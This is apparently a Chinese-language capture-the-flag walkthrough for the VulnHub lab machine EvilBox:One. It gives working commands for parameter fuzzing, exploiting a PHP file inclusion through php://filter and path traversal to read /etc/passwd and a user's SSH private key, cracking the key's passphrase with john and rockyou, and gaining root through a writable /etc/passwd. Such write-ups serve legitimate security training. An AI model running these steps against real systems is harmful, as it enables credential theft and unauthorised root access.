VulnHub-EvilBox:One

前言

  这是打靶训练的第9周,目标得到root权限,靶机难度简单。脑洞题,有趣,靶机链接

信息搜集

  nmap只扫到80和22端口,访问80,是apach默认页面
  
  使用御剑扫描,只获取到了secret目录和robots.txt,没啥有用的信息
  
  
  这个时候,千万就别不扫了,扫到secret子目录的时候,更应该继续扫描。
  得到了一个evil.php,这个名字就非常可疑。网页还是没有任何内容
  
  怀疑它后面有构造参数,可能是evil.php?x= 这个x就是参数,接下来就要爆破这个x
  我使用了seclists这个字典,没有的话,先apt install seclists,输入以下命令开始爆破

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.41.134/secret/evil.php?FUZZ=../index.html -fs 0

  爆破出参数为command
  
  发现存在文件包含漏洞
  

getshell

  尝试直接使用远程文件包含,失败。
  这里可以使用php://filter 来查看源文件内容。访问http://192.168.41.134/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
  
  这句话的意思是用base64编码的方式来读文件evil.php。显示的内容是base64加密后的,使用base64解密后。

<?php
    $filename = $_GET['command'];
    include($filename);
?>

  既然都能读文件,是否能写文件,答案也是肯定的。尝试写入文件
  http://192.168.41.134/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.txt&txt=MTIz
  其中txt=MTIz,MTIz是123使用base64加密后的内容。将此内容写入test.txt。运行此命令后,尝试访问,失败告终。说明没有此目录的写权限。
  
  一切貌似的路都没了,但还有一个22端口,我们没有尝试过。爆破基本不可能。查看目标靶机支持的ssh认证类型ssh root@192.168.41.134 -v -v就是以调试方式查看。
  
  可看到支持publickey,password两种登录方式,既然我们不能得到密码,只要我们获取到了私钥一样可以登录。
  从前面的etc/passwd,可以得到一个用户名为mowree的账户。而又有文件包含漏洞所以我们可以直接获取到私钥。
  访问http://192.168.41.134/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/authorized_keys查看公钥,这个虽然没啥用
  
  访问http://192.168.41.134/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/id_rsa获取私钥
  
  在kali上vi id_rsa将上面的私钥内容全部复制粘贴。然后再chmod 600 id_rsa不然会登录失败
  ssh mowree@192.168.41.134 -i id_rsa使用密钥登录,结果叫输入私钥的密钥,相当于用了密码将私钥加密了。
  
  这样的话,必须爆破密码了。这里使用john来爆破。使用python /usr/share/john/ssh2john.py id_rsa > hash,将id_rsa转换成john能识别的hash格式
  
  将超级大字典rockyou复制并解压过来

cp /usr/share/wordlists/rockyou.txt.gz
gunzip rockyou.txt.gz

  开始爆破john hash --wordlist=rockyou.txt,成功爆破出密码为unicorn
  
  再次ssh成功登录
  

提权

  这里使用find提权find / -writable 2>/dev/null,查看可写权限的文件,发现了etc/passwd文件
  
  这样的话,直接修改root用户名的密码了,使用openssl passwd -1命令,使用openssl加密算法来加密,输入的内容。
  我输入密码为123,返回了加密后的内容为$1$JPKeenWm$HWPSn4QyyNd4vj8Kn4uTT.
  
  vi /etc/passwd将加密后的内容复制粘贴进来
  
  保存退出后,切换用户成功为root
  

查看评论 -
评论